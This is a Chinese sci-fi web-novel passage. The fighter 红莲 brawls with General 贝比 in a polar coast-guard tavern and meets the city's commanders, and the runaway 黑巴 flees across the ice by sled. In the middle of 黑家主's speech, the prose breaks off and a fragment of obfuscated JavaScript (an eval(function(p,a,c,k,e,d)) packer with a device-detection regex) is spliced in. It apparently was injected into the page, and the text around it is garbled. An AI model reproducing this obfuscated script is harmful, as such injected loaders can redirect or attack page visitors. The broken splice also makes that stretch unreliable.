破败的建筑与人们激烈的气氛呼应，酒馆继承自古代食堂，墙面石砖凹凸不平，落满积雪，强风穿越气密闸门时习惯性的耸肩，整理队服。 大厅内黑色的墙壁和地砖是因为士官们习惯了昏暗的环境，环绕墙壁的吧台边，人们只能点到清水和各口味的营养剂。空地内的圆桌椅比前几天少了，多了几套桌球和虚拟现实游戏椅子，这导致低阶的士官站着攀谈，说到底人们来此，是为交换些情报与谣传。 强风看到第一集群的贝比将军和烈风副官向她招手，三人坐在吧台旁听一会儿。 中队级士官口气强硬的争论道：“沿用针对南极军团的作战编制就是错误！指挥各小队攻击机械生物就像猎人进了森林，效率太低！” “我知道你的意思，你说过不止一次了，用大批火炮部队逐步清剿对吗？我们哪有火炮机甲啊！标准岸防机甲双臂配炮弹容才30发。” “参谋部不作为罢了。” 人们听完前线部队的牢骚，副城区的军需士官插嘴说：“有机甲开就不错了，四个副城区接收人员不比主城少，机甲产能却只有主城的30%，后勤车塞满人简直是去送死，我来请求黑家主大人提高副城区工厂产能。” “怎么样？” “吃了闭门羹，黑白大人让我回去等。” 众人缄默了一会，几个高阶士官把她拉到圆桌坐着安慰。 严肃与痛苦的经验使每个士官都习惯性皱眉，其中一个单马尾的士官说道：“也许，也许会有新的办法。” “什么办法啊！” “我们小队在第四城区启封了三艘战舰，2个小时前已经拖到主城工厂区了。” “攻打南极海岸吗？港口的风家可不好惹啊。” 人们议论到这个话题，偷偷瞄着强风和烈风的反应，烈风傻呼呼的接过话题说：“老家的人私信说全族调往首都风花白夜宫郊外啦！我更关心咱们北极能不能把猎杀机械生物奖励的评分数再提高一点，我最近的评分不升反降了！” 岸防卫队士官们意识到夜星南北极之间，战端再开，忧虑的思绪被烈风的傻话打断，开始上下打量烈风的可笑之处，她似乎又长高了，成长评分高必然导致进化评分低，180CM身高自然有健康的体型，普通岸防卫队制服不足以容纳她，穿上了特制的双排扣士官服，直爽勇烈的个性将粉色长发盘进大檐帽，热情洋溢的表情带着几分傻气。 烈风被众人看的发毛就大声质问：“怎么了？” 众人扭头或低头避免和上司起争执，强风拍拍她。 “你可以问问灵能会或者天家的人，能不能给我们岸防卫队提提奖励，这事只有他们能改，我昨天中午，在广场看到陌生人和灵能会的人坐在长椅上交谈，应该是要在岸防连城搞什么事件。” “哪个人？我怎么没看到！” “我也看到了，黑色长发，一脸瞧不起人的样子，差不多175高吧，有点瘦弱。” “我还和她擦肩而过呢，奇怪的人，穿士官队服却不会用浮空踏板！可是有点小帅啊！” “帅吗？长什么样？” “真的有点……” 黑底白边的岸防卫队士官制服上衣有些平顺，跟众人的身材曲线明显不同，士官们看到陌生人进屋就停止言语，拿着杯子喝营养剂的士官停止吮吸缓缓放下杯子，人们纷纷转身注目站在门里的少女，她的直发是那种从未经战斗环境的顺滑，黑亮的光泽犹如深邃的湖面，清冷的三角脸型面无表情，像雪原那样清高，只有长形的眉目中，眼神有着超越众人的力量。 她无视这一百多名强者充斥空间的肃杀气场，向吧台走去，坐着的士官都离座站起，各自握拳怒视。她坐到两个低头不看她的人身边，对酒保说：“要杯清水。” 强风侧脸看了她身形，再抬眼看她的长相时，跟她对视了一下，心想就是昨天那个人，于是用鼻息叹了气，对烈风微微斜头使了一个眼色。 “啊？她啊？哎你就是灵能会的家伙！能不能把！” 另一个低头喝营养剂的人抬手用自己的大檐帽捂住烈风的脸，然后起身挺胸，统帅15000队员的将军级制服连衣长裙曲线傲人，金色直发在昂首后肆意飘散，金黄色的带穗子肩章宣告着权力，狐媚的弯目从鼻梁下打量来客，嘴角常做着轻蔑的笑意，绕过强风坐到来客身边。 “大小姐？我们这没清水！”她把半个身子趴到吧台上，挤进来客视线内，酒保放上清水，她顺手一拨，杯子甩掉地上，摔碎。 “来杯酒精饮料怎么样啊大小姐？啊？” “我16岁。” 她抬头看看强风和烈风，又环顾众士官，再用手指着来客，然后又趴到了来客面前。 “哎？16岁怎么穿上的士官制服？大小姐你很能打吗？还是有啥战斗荣誉？教教我好不？” 来客转动椅子，双手扶膝盖，侧着脸也用鼻梁俯视挑衅者，她几乎从未被人俯视，怒气让她坐直，两人身高一致，金发的人健美，黑发的人清瘦，四目相对时，来客眼中的凌厉之气丝毫不减。 来客笑答：“我凭实力。” 将军级的人忽的走到空地后说：“啧，岸防连城不能有嘴上的实力，所以我想把大小姐你有实力的嘴撕烂。” 来客拉紧手套，单手扶正帽子走到她对面说：“我是红莲，不跟无名之辈切磋。” 将军越看这位穿自家岸防卫队服的黑发瘦子目空一切的态度就越气，歪嘴随口答：“啊啊，大小姐真讲究，我呢，是北极岸防连城第一集群将军，叫贝比，能开始了吗？” 红莲按照武馆修行的礼仪，对贝比鞠躬后，左腿向后迈半步，左手并指挡在面前方，观察贝比就是那样挺胸站着，裙摆分成四片，粗壮的大腿向下伸进黑色长筒靴里，上身没有丝毫摇晃，气息轻微，极为稳定，能感觉到这是身经百战的体魄独有的协调性和控制力，就好像下一个瞬间贝比就做出迅猛的爆发动作。 贝比感觉红莲很静，只在稍微上下瞄了一眼自己，就陷入静止，眼神没有力量感，变成深奥的空洞，就好像没在看自己，原来连气息也停止了，这是只有武力高强的人能感知到的长时瞬间，贝比察觉眼前这人纤瘦的黑色制服就像蜡像，看清最后一根没静止的黑色长发稳定后才知道这段时间只有几毫秒，银制的士官靴跟似有发力，贝比再看红莲的表情居然是一个微笑。 贝比只看到红莲眼神像一线流星，所以身体就本能的向后仰，红莲的右拳头已经到眼前了，贝比此刻想了三件事，1是这算偷袭吗？2是还击没有充足的发力空间，3是只能使用更有力量的右臂挡一下。事实是她低估了这一拳的冲击，红莲发力激起的风团甚至将周围人群头发和衣服吹起，拳到肉时，贝比整个人都飞了出去，击飞挡路的桌椅，人重重的撞在吧台钢制挡板上，留下一处凹陷。 她嘴唇破了，双脚踢地，连蹬两步，向红莲扑来。 一般来说，常人吃着一击就足以昏迷，贝比还能站起并且趁红莲挥拳后还没重整动作的时机扑来，这让红莲非常意外，红莲无法知道这怪力女的体能极限，退半步的时候就意识到不能对打迎击，于是红莲退一步，在贝比将要扑来的时间内跳起蜷缩住身体。 贝比怀中是团成球的红莲，她只有一对胳膊是外露的，贝比趁机抓住红莲一只手臂想把她甩飞，但当两人还在空中时，贝比感觉心口闷疼，两眼一黑，松开了手，被红莲双脚蹬住胸口踹翻在地。 士官们蜂拥而上，红莲每击都能打瘫一个，桌椅，帽子，黑制服，士官在空中飞舞。 强风饶有兴致的欣赏这位战斗中的黑发少女，她时静时动，每个踢击，都计算好了打和躲，像是用黑色长靴跳着愉快的舞蹈，每个拳击冲散她自己黑亮的长发，像在指挥这场战斗的乐章。 但是智者总能反思强大背后的损失，强风起身轻步慢移，隔着一个士官，迅速伸手抓捏红莲右臂的肌肉。 这短暂的痛感居然足以让红莲全身瘫软了一下，烈风站到红莲身后，从她腋下伸臂弯过，将红莲整体人都提起来，强风看贝比站起来了，又对红莲小腹补了一拳。 “啊！咳。” 红莲大叫后恶狠狠的瞪着强风。 强风明白了忙说："抱歉，真的抱歉。” 贝比看自己长裙都翻的露肚皮了，气愤的用手拉展，背痛，右小臂疼，心口疼，她经常生气，但现在笑不出来了，朝地上吐了一口血，大步走过来从烈风手中接过大檐帽戴好，众人看到长官的威风仍在，就纷纷散开。 贝比一拳打在红莲的帽扣上，余劲擦过面颊划破嘴角。 红莲的长发全部低垂，像个败者，仰头笑说：“岸防卫队，呵呵。” 众人看着贝比。 “放她下来，嗯！”贝比说完摘下帽子，又弯腰捡起红莲的帽子，给士官们使了个眼色，众人摆好桌椅，贝比坐下靠着放松，她交叉双腿把前裙摆铺好，两手梳着金发到胸前蜿蜒滑散，就像一位油画中的美人。 “请红莲大小姐陪我一起做做运动而已，您来岸防连城有何贵干呢。” “我和贝将军都喜欢运动，那希望你下次能单对单。” 红莲按着小臂坐到贝比身边的椅子上，呼了口气，她一改之前的凌厉气场，驼背堆坐着说：“来杯清水，我有个行动，大概是和机械生物战斗没法明说，不算是任务，所以没有评分奖励，需要点人手。” “那我有什么好处呢？” 红莲喝口水说：“能让我欠你一个人情。” 她说完点按袖口对贝比发送个人信息名片，贝比看到三角标签和白色圆圈标签后邪魅的笑容僵住了。 贝家作为夜星历史最悠久的财阀家族，纵横夜星4000多年，泛着金光的头发时刻提醒着贝家的信条就是交易。 眼下，岸防连城北有机械生物吞没大地之危，南有跨海征战之险，君子不立于危墙之下是贝家的基础常识，贝比看着工厂区每天扩建的灵能会研发区，她当然能意识到这是一个效力天家的机会，甚至有可能加入灵能会的博物馆都市。 “你一开始就该亮名片，少挨一顿揍啊，嗯！我确实有点事求灵能会和天家，你怎么了？肚子很疼吗？” “最近北极的变化很大，我之前一直随母亲在几个城市间旅行。” “就是说红莲之前是普通市民？怎么会格斗技的？” “从小喜欢，4岁就因为事故从孕育罐出来了，闲的无聊就自己练习，有能力保护自己，最近，北极要发生什么巨变，贝比，我觉得我们的命运正在被别人支配。” 贝比以为这就是人到了17岁常见的焦虑，自己也曾经这样恐慌过，所以她加入岸防卫队不断向高职位爬，越在高人一等的地位上越让她有安全感，所以她马上带回话题。 “那你怎么认识天家和灵能会的啊？你命真好！” “咳，咳！”红莲喝呛了，继续说：“好吗？呵呵，大家的结局一样，或早或晚而已。嗯，天家最近要把手伸进岸防连城，还可能开发新的城市，我推测天家需要具有指挥能力的人才。” 这几句话虽然短，却料敌机先，显露出异常出色的智慧，使得贝比没注意到开头的话，这充满希望的机遇使她就好像被遥控一样打开袖口上的全息投影给红莲推送了联系方式。 “你想做什么，就跟我说，我能做到的事情都随叫随到。” 红莲笑了，她把清水一饮而尽。 “贝比，我是想交朋友，你别寄希望于职位高低，应该自己掌握命运。我需要你的帮助，我得去和黑家主打声招呼才方便行动，先走一步。” 贝比想一起去，被红莲阻止了，她目送着红莲的背影，少女推门迎风而立，高挑的身姿，抖动的黑色士官制服，有别于其他人的孤高英气，黑色长发张扬飘散像一张巨网，她拉紧手套，抚顺头发后戴正大檐帽，步入茫茫白雪。 引路人 从酒馆区抬头就能仰望到气势恢宏的指挥部石质大厅，红莲与昨天不同，已经熟悉了岸防队员的言行，她跟随其他队员步行在雪原小道里，耳边随意的听着身边队员的谈资，无非是战斗行动和进化评分之类的日常对话，这看似枯燥的生活在友谊感情的催化剂下，让队员们开心嬉笑，她们这份毫无凭据的乐观让红莲既喜欢又担忧。 指挥部还是那座被白色三角形巨石压着的大厅，依靠几排坚实又饱经岁月洗礼的残破石柱支撑，基座下近百级石阶铺洒，成群结队的岸防队员来来往往，掩盖石阶同样残破的裂痕。 统一的黑底白边制服中，如果有这样一位穿黑色连身衣衣裤的女性，又不戴帽子就非常显眼，她修长健美的身姿，斜边的黑色短发，使得红莲向大厅内走时，全神贯注的看她，靠近看到她稚气秀美的眉眼间没有一丝分神，好像一直沉浸在自己的世界里，眼中泛有泪光时，她闭目咬唇擦掉。 红莲带着与这位少女邂逅的思绪，众门卫觉得红莲平淡的瓜子脸上的茫然表情是被指挥部内威严的氛围震慑，瘦弱身体步伐凌乱，更显得可疑，门卫们问话，红莲不答只是出示信息名片，人们看到灵能会的标签立刻让她通过了。 侍卫随红莲步调，熟练的代为开门，红莲余光扫了一眼，先看到一位元帅制服的人对着办公桌上的地图指指点点，其他十三名士官围着补充讲解。 “很忙啊。” 红莲小声嘟囔了一句后，走到墙边两旁的长条金质红绒沙发边，黯然坐着，很少有人能使得红莲如此在意，这种说不清奇妙感觉让她几乎忘记此行的目的，她揉摸着红绒和金扶手，心想这时代还出现全金质物品肯定是贝家所为，以此分散心中牵挂。 等到宽敞的指挥室内渐渐无声，三声轻微脚步，使红莲看向棕色橡木制成的敦实办公桌，有位矮个子将军走到桌边，立正站好。 “几年没见已经长这么大了，红莲。” 浑厚压抑的女性声音来自红莲不太敢看的人——黑家主。 她说着，像坐在办公桌后工作的狮子，黑发像鬃毛一样膨散，华美的脸庞却面无表情，平直的眉下无需睁大旧明亮的眼睛中只有武力，罕见的壮猛体魄撑起黑色斗篷，使肩平直成一线，华丽全金肩章一周黑绒惠子更显霸道。 红莲脱口而出问道：“刚才在台阶上看到一个气质不凡的短发女生。” 黑家主低头书写公文顺带答话：“我女儿黑巴，克隆体，唉，送她去博物馆都市，一周就跑回来，要加入岸防卫队。” 不等红莲接话，黑家主继续说：“红莲你懂的，我不可能在需要生死战斗的岸防卫队里任人唯亲，那会破坏士气，对了，天家那个叫元的小跟班来过了，大致说过你的行动。” 红莲起身想走上前说，黑家主没抬头，摆摆手示意坐下说。 “谢谢您，可能需要组织几次出勤任务，也许有牺牲，我先向您表示道歉，通行和装备方面请求您示意手下配合。” “不用这么客气，这个计划，嗯，你不知道全貌，是北极三家和南极冰雪女王共同签订的计划，因为拖拉的太久，我几乎给忘了，你会得到岸防连城的最高权限，放心干吧，我们都期待成果。” “我来的路上听人们对南极议论纷纷。” 黑家主放下笔，单手托腮喝着提神饮料。 “南极，南极，黑家绕不开的南极！其实女王冰雪为人不错，有十几年没见了吧，想想她有着绝世的美貌，温柔的神态，说话也软绵绵，但却理智的可怕，在她那占不到一点便宜啊，死了就死了吧，早死少操心，我这艘破船也不知道能开几年，永生像个监牢一样囚禁着每个人。” “所以人们顺从灵能会的进化路线，成为意识纯净的灵能体。” 红莲没想到自己这句叙旧话让黑家主放下杯子，端正的坐好对视着她。 “安逸让人死亡，红莲，我见过无数死者，活着却死了，然后死了。当科学取代教派，人们高呼神明已死，当永生取代死亡，人类已死。” “可我们都还活着！” “人类早在2000年前就灭亡了，如今的我们不过是人类的残渣，或者说人类从工业革 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“黑白是我见过把理性发挥到极致的人，你帮红莲安排一下，叙旧到此为止，红莲你去吧，这计划拖太久了，我们需要结果，无论好坏，你得拿出结果。” 北极地理 黑白将军身穿特制的小尺寸将军级黑底金边长袍制服，身高最多只有1米5，由此看出她应该早已够了进化评分，为何滞留在岸防连城肯定出自其本人意愿，她举止有充分熟悉事物的沉稳，稚气可爱的小脸被压在大檐帽下，出了黑家主的办公室就边走边向红莲介绍：大厅右侧是图书馆可以调取岸防连城的信息库，大厅左侧是参谋部。 她介绍完，从一位副官手里接过手杖，两人来到参谋部内，红莲看到士官们人来人往十分嘈杂，就站在黑白身后听她在正中的大型信息沙盘投影上给士官们部署作战任务。 全息投影沙盘的下方是原始的实物沙盘，展示了北极的地理：半圆形的大陆南面，几乎平直的海岸线也就是安防连城所在地。 沙盘左侧是北极西部的冰山带，西部冰山和北部山脉之间有一条峡谷，通向冰海的码头叫世协科考站，红莲推测那码头是沿用了旧时代的名称。 沙盘右侧就是北极东部山脉，山脉有一条细长峡谷，起点也就是博物馆都市东侧，飘着一座天空城，峡谷尽头有一座通天高山，名为世协太空计划第一天梯。 海岸线向北是一望无际的广阔平原，在全息沙盘上标示出平原靠北建有一个巨大无比的半球形穹顶，内部有很多建筑，名为天家直辖博物馆都市，都市再向北的北部山脉中，标有贝家直辖金山堡。 信息沙盘里，全息投影的雪原上，密集和零星的红点就是野生的机械生物，它们不断扩大领地，天家研究认为整个夜星的非人类控制区已经遍布机械生物。 红莲看到这，感慨安防连城的处境就这样，被北方的天家和冰海挤压成了一条线。 红莲对世协和灵能会很感兴趣，坐到角落里思考历史。 夜星人类把水动机发明年称为新元年，标志着人类进入工业时代，新元317年世协会议达成追求人类永生的共识，取消了国家形式，组成世界安全协调委员会简称为世协，新元1056年灵能会与天狼星人取得联系，获得了永生技术，取代了世协，也就是说灵能会是凌驾于北极和南极之上的中立组织。 “您好，这里是安防连城指挥部参谋部，需要什么帮助吗？” 一名勤务官看红莲是陌生面孔就过来盘问，红莲指了一下将军黑白。 “我有点公事，在等黑白。” “明白了，大概还得9分钟，黑白大人对时间控制的非常精确，请您耐心等待。” 红莲低头按袖口看表显示：新元4027年3月8日14：39分。 等了整9分钟，黑白对红莲摆手后就向外走。 “久等了，红莲大人。” 她说话声音太嫩小，再追上她矮小的身姿，红莲觉得的这位拄杖少女有些刻意强调自己的地位。 “没什么，听了你的指挥学到很多，你为什么总拿着这个手杖？” 黑白继续向前走，每走几步就要协调手杖支撑地面。 “我几句话就决定着几万人的生命，真正重要的事情，就像这样，是迟缓又突然的抉择！你知道古代人的念珠吗？” 红莲思考了一下，想起来似乎是种信仰者佩戴的手工艺品。 “念珠？” “对！念珠，记录思考顺序的道具，我的每段想法走几步有答案了就用手杖点地决定，再开启下一个想法。红莲大人，你看到了，岸防连城人力有限，作战任务繁重，最近有三股力量兴风作浪，我希望您能提出有效的人力需求。” “前期只有小队规模的行动，我和贝比建立了私交，用她的人，通行方面，我希望你提供自由。” “那就好说！” 黑白把手杖递给副官，摘下帽子后像个文静的短发小女孩，她对红莲微笑了一下继续说：“我管不了她的第一集群，我先给您预案一次大规模作战行动，您需要就来参谋部找我。” 红莲走到和黑白并肩后问起酒吧听的事情。 “我在酒吧区听过一个想法，组建火炮部队，步步为营的歼灭机械生物。” “啊！那个，我听天兮副官说过，第三城区的士官的建议吧，我们前年尝试过，说到底现在的目标是锻炼战斗人员和，咳嗯，人力淘汰。各有难处，黑家主大人已经尽力了，哎我看您和黑家主大人的私交很好呢！” 嫉妒的味道总是用不经意的言辞流露，红莲也闻的出来。 “我小时候见过黑家主，还有我是在罐外成长的。” “哦？黑家主大人收我为义女了，那位大人宽阔的肩膀可以顶起夜星所有的压力，她举重若轻的从容和收敛不住的温柔太让我着迷了！” “看来她对你很好，我小时候被她吓哭了，像看到了浑身充满暴力气息的狮子，导致我现在还有点怕她，她最近思考了很多历史问题吗？” “哈哈！红莲大人也有可爱的一面！” 红莲对可爱并无研究，回应了笑容后说起夜兰的事。 “我在连城认识个朋友，叫夜兰，住站监狱区，她身形高大丰盈，我需要她参加行动，但她没有衣服。” “这好说，晚上给她做一身制服。” 黑白吩咐完随从，拉起红莲的手向大厅外慢跑。 “命运不在自己手里，任由世界摆布是种绝望！红莲大人眼中没有一丝绝望呢，很令人羡慕，甚至嫉妒，您看看大家，绝望像黏糕一样充斥世界，导致每个人的举止僵硬，眼神冷漠。黑家主大人担当着大家的命运，想从过去找到解决方法，可惜历史中的人类都自私到不可救药啦哈哈。” 黑白边说边在台阶上蹦蹦跳跳的下落，扯的红莲步伐踉跄，其他人看到随意一笑，继续走着，黑白继续说着。 “我要去乘热气球！” “热气球？你走慢点，我要摔倒了。” “啊！热气球，虽说布防直接显示在信息沙盘上，但我每天实地看一眼才能安心睡，灵能会禁止岸防连城制造飞行载具，那就只好用我做的热气球看看，红莲要一起乘热气球吗？” “求之不得，不会被大风吹跑吗？” “不会，在那！用三个方向的铁链连着，没问题的！” 这热气球像书本上画的一样原始，看黑白翻进座舱后对红莲笑着招手，红莲后退两步一跃跳入座舱，黑白鼓掌笑道：“漂亮，你这身手不错啊，要加入岸防卫队吗！哈哈！蹲下，别向下看，上升的非常快，站着容易晕倒！” 气球达最高点的提升音，使得两人站起来向外张望，红莲俯瞰整个岸防连城是沿海岸建的一道细小边防城市，有五个圆圈是圆形广场，分隔出五个城区，外围各有无数杂乱小方块是居住区，向北看无边雪原上有很多小虫子是市民车队向各城区移动，连城整体就像一个指虎，对抗着各路威胁。 “哐！隆隆！” 天上突然传来不明巨响。 “不要向上看！你没带护目镜，会被灵能飞艇的灯光晃瞎眼睛！” 红莲看向南方，冰海伸入夜空呈深蓝一色，黑白抱着胳膊哆嗦。 “好冷啊！啧！新来的市民都堵在雪原上了，这一晚就得冻死不少人。” 红莲解开外衣包住黑白。 “谢谢红莲啊！你要看吗？你看完我们就下降，我得派五批传令官让车队分散进城，先都开到广场吧。” 红莲接过黑白递上来的望远镜，扫视东部的城区，发现一个小偷。 “最东端是第五城区吗？你们这儿的装备损失的很快啊！” “那肯定，每天都死几千人，装备根本没数，我让后勤副官天兮加强新装备管控，这些破铁块又不能吃，白给都没人要。最东是第四城区，挨着的是第二城区，最西是第五城区。” 那个小偷扛着一袋物资，动作还迅捷，卡着岸防队员的视野盲区交替移动，有时仅仅蹲在某士官的背后，有时躲到岸防机甲的阴影里，向上方查看，注意到了热气球。 红莲似乎与小偷四目相对，看不清她的面容，却看到那个熟悉的黑色短发。 “你要去哪呢？” “什么！” 红莲若有所思的说出口后把望远镜还给黑白。 “没什么，我们下去吧，我有点晕，黑白帮我叫个车吧，最近身体很不听话，一放松就感觉要睡着了。” “那我现在就联系人送你回居住舱，下降过程更晕，对！你说过是孕育罐外长大的，我忘啦哈哈，抱歉，再坚持一会呀！红莲。” 3. 章3北极：黑巴的梦 一段梦境醒了。 “我讨厌这里。” 黑巴醒来惯例嘟囔了这句。 眼前是四个身穿白色短裙的白发小可爱，有的梳两个小马尾辫，有的梳着单歪辫，有的梳着单马尾。 “姐姐你好漂亮啊！” “不！是帅气！” “对，帅极了！气质和其他人完全不同！” “我们是东南西北！小东，小西，小南，小北！” 黑巴仰起头，伸手把一侧的短发别在耳后，扫视了一眼博物馆都市展厅的华丽庭院，抬头看着天空，巨大玻璃穹顶的功能之一：模拟出清澈的蓝天白云。 蓝天正中央有一个圆形缺口，像黑色太阳，黑巴轻轻的舒口气问着：“你们有什么事吗？” 四个小孩退后聚成一团齐声说：“啊，对不起。” 黑巴没感觉自己说错什么话，或者小孩们做错什么事，却被道歉了，她于是想离开这，起身的瞬间，白色筒裙自然伸展，这是天家制服独有的科技。 她觉得这种优雅华贵与自己格格不入，反感这件衣服，随口问道：“我要上课去了，你们知道，我看看。” 她按开袖口上的全息屏幕查看课程后继续说：“夜星历史课黄金时代一期班在哪？” 黑巴按照小孩们的指引，漫步在展厅一层走廊，白花的大理石地面，纯白的墙面有着高雅的金色花纹走线，大落地窗透到地面温暖光线，营造出与岸防连城残酷战斗隔绝的华丽唯美，就好像夜星的天空不是永夜，大自然不只剩雪原冰川，野外没有无数长着金属獠牙的机械生物，岸防队员的战斗是该死的，雪原上无家可归的市民车队也是该死的。 这美好的一切所折射出的冷血让黑巴有些烦躁，她进入教室，寻找自己觉得舒服的座位，教室西侧的市民们黑发，东侧的市民金发，人们零零散散各自交谈。 黑巴坐在教室最居中的位置，她趴着睡觉感觉到四周顿时静默片刻，只有东侧马上恢复了嘈杂，上课后讲解师开讲了一会儿，黑巴看了一眼是一名白发的讲师。 讲解师继续说着：“我再重复一遍，历史课的内容，你们查看袖口的信息库都有，但是你们要从我讲的历史课听出自己感兴趣的要点，选修一门研究课题使自己可以忘我式的投入，净化意识使灵魂纯净，达到灵能进化的要求。讲到哪了？就从头开始吧，蒸汽动力的水动机发明年称为新元元年，标志着人类进入创造财富的时代，到新元317年这300年，全球人类都把财富作为第一追求，财富的统一货币是黄金，所以我们称这段历史为黄金年代。” 一名嗓音尖亮的市民发问：“讲师您应该重点说一下我们贝家在黄金时代的荣耀！” “好的。贝家啊，的确，贝家的前身是黄金时代末期的世界金融集团，即全球商业联合会简称总商会，该商会的产品服务占据全人类60%市场份额，被称为黄金家族，现在简称为贝家。当时的国际安全与发展组织称为世协，新元317年总商会资助永生科研基金会在世协召开人类进化会议，会上展示了电子人，明确了人类永生的可行性，就此世界终结了黄金时代，转向以永生为第一目标的人类进化时代。” 这堂长达1小时的讲解结束后，西侧的市民们迫不及待的离开，黑巴趴着睡觉也早已等的不耐烦，她坐直伸个懒腰，发现四周都是金发的市民，黑巴站起，她们也同时站起。 “新来的要守博物馆都市展厅的规矩呀？” 说话的还是那位嗓音尖亮的市民，黑巴无视了这话离开座位却被围着。 “黑家的！管好你们黑家的人，让她坐到西侧去！” “让开！” 黑巴狠狠的说一句就推开人群走出教室，她烦躁极了，感觉自己像雪原上的市民一样没有归处，走到长廊门口，门外的圆筒形清洁机器人涌了进来并锁死大门。 “编号H176921的市民攻击其他市民身体，你违反展厅管理守则，给予你第一次惩戒。” 机器人们齐声发出这语音后用电流击倒了黑巴，而她在岸防连城从未松懈锻炼身体，硬抗住电流，半蹲着一脚踹倒了圆筒。 “警告！警告！你攻击安保机器人！给予你第二次惩戒！” 机器人们加大了电流并持续输出，黑巴躺在地上动弹不得，还要听着机器人的嘈杂语音。 “警告！警告！第三次惩戒将对你实施禁闭处理！请立即停止你的攻击行为！” 机器人对着瘫软的黑巴又电了10分钟后才离开。 一个人将她扶起，絮絮叨叨的说着什么，俩人走到后院花园，在光照明媚的长椅上休息。 那人拍拍黑巴的脸。 “清醒了吗？大家都叫我黑家的。” 黑巴很难过，这经历大概是自己人生中无数烂经历中最烂的，她懊丧的重复着那人的话。 “黑家的？” “对，黑家的，我不问你叫什么了，博物馆都市禁止人们用旧名字，我跟你说这不是普通的霸凌，贝家一直想强化家族在博物馆都市的存在感，所以不择手段的挤压着黑家市民的生存空间，黑家的市民推举我当头，协调着两家的关系，你刚才坐到她们中去了，我们黑家的人数不足以占住教室中间。” “随便吧。” “别随便啊，明天你坐到西侧来，再等等人数多了，我们就占据中间。” 黑巴笑了，越笑，越大声。 她万万没想到人类发展了一万年后，市民们还像可笑的动物一样争夺着地盘，这渺小的欲望悲哀到只能用笑容表达了。 这位黑家的，被黑巴笑的发毛就推推她。 黑巴看了一眼黑家的，还是那种刻板的岸防队员表情。 “我要离开这破地方。” “离开？去哪啊？我们好不容易才进来的！你能去哪啊！” 对，我能去哪呢？ 一段梦境醒了，黑巴躺在岸防连城第四城区武器库的弹药箱上睡醒了，她梦到几天前在博物馆都市的经历，那回忆里的烦躁和懊丧，让她不禁又说了一句。 “我讨厌这里。” 她坐起来调整呼吸，聆听环境，仓库里充斥的黑暗让她感到安心，门缝渗入的微光让她能看到整齐垛叠的弹药箱，她曲着腿，让膝盖可以当扶手，另一只手支撑在箱子上，这个坐姿放松，她晃到自己身穿的黑色紧身衣裤不免有些心酸，这是她求黑白将军为她缝制的，因为她不是岸防队员，不能穿岸防制服了。 自身精美的曲线让她有点自豪，她等待值班守卫休息的时间里，想思考点什么，她有时也情不自禁的幻想有了喜欢的人，那种古老的原始爱慕，她不知道别人口中的喜欢是什么感觉。 这时，眼前好像闪过黑色长发，还有瘦弱身影。 环境突然暗了下来。 黑巴的时间紧迫，顾不得这突如其来的印象，陷入完美的黑暗后，她跳上事先观察好的弹药箱，爬上箱山顶部，蹬腿翻转身子，倒立腾空，正好用腿夹住通风管道，再探手果然摸到管道支架，松腿，让身体下坠的瞬间松手反转手腕，让另一只手抓住支架，身体正面对着出口，借用下坠的力量荡一次，第二次挺身一跃再抓住下一个支架，双手全力一推在第二次荡的力量加成下，脚探到了空调箱沿，要精确的用力使身体向前倾，她腾出一只腿，向下空踩，让身体摆动更剧烈，感觉身体与箱体平行就下蹲，稳定的蹲在箱上。 黑巴马上摘掉几周前悄悄拆松的空调机，光线渐入，需要闭眼微睁适应，出了仓库。 她一边挂好空调机，一边用最短的时间调整好视觉，然后抓住房顶，弓身站上，快步走到房顶角，她停在这，之前看到的岸防机甲被开走了，只剩几个高度不够的箱体。她看到仓库屋顶之间的杂乱电线，轻轻一跃，落到电线束再向箱体倾倒，碰到箱边不做支撑，继续下落，双手扶了一下箱子，减少下坠，就轻盈的落到箱后。 黑巴观察周围没人后，再向上看看哨塔是否有人执勤，偶然间看到夜空中有个热气球，是黑白查看全城布防用的气球，黑巴等气球落下后，从脚下的雪地挖出事先埋在雪里的物资袋子。 她特意选了长束绳的袋子装物资，抛袋子到城墙外的瞬间，用绳拉住袋子，减少触地动静，扔过去三袋后，她离墙后退了20米，助跑起跳每步都踩箱角，减少声音，双手流畅的扶箱并调整身姿，摸到墙顶要尽可能的流畅借力，双臂用出全力使身体倒立腾空，全身甩在空中的时候，她四顾观察码头的环境，蜷缩转身，用下落的时间，看到了岸边的停着一排雪橇，还有数量不明的岸防队员在交谈。 落地的动作，她用滚动，雪面太滑，她马上要撞到铁皮屋子的墙面了，所以用屁股支地转动身体，背向墙面双手向后，先碰到了墙，缓冲后，几乎没有声音。 黑巴站起，快步跑到一个箱山高点，观察岸防队员的位置。 “要取消海岸巡逻了！今天是最后一班岗。” “听说队长你升职了，恭喜！” “嗯，清缴雪原野生机械生物的作战，人员不够，我们都被调往前线了，大家以后都是队长了！” “队员是那些市民？啊呀，这能行吗？” “没办法，人太多了，天家主的命令，是让这些多余的天家市民加入岸防卫队，完成对整个北极雪原机械生物的清除作战。” “可是我听说南极女王刚死，南极有可能破坏和平协议打过来呀，这时候不是应该加强海岸巡逻吗？” “两种说法吧，一种说南极现在内乱，烈风不是在酒馆说了吗，南极最强军团风家调往了首都风花白夜宫的郊区，内乱的说法比较可信。第二种说灵能会出面作保，冰海中心的人工岛不是灵能会的吗？它们会武力阻止南极入侵，让黑家全力负责北极雪原的清缴工作。” “可是，按规定，灵能会的人工岛不是只有科研设施吗？那上面没有武器啊！” “你听它们瞎哔哔呢，灵能会的哪个设施没有武力？” 岸防队员们攀谈一会撤回了城内。 环境安静的只有海风轻抚，黑巴从容的把三袋物资提到岸边，她拆下三个雪橇的电池，足够她横跨南极和北极间的冰海。 选有顶的大型数控雪橇，还是选纯机械动力的小型雪橇呢？ 黑巴喝着营养剂，思考着，有顶的雪橇内部恒温，肯定不会冻死，但额外的耗电使得三块电池可能撑不到南极，最麻烦的是一旦岸防连城发现自己出走，可能远程操作大型雪橇，强迫她折返。 “死我也不想死在这。” 黑巴轻轻的说着，把电池安放在小型雪橇里，食物营养剂都取出来摆放好，居然全是无味系列的营养剂，她冷笑着，应该拿点喜欢的葡萄味。 “我就喜欢橘子味的怎么啦！你们都试试呀！” 她想起烈风在酒馆拼命推荐橘子味营养剂，可爱的烈风总是引的人们哄堂大笑。 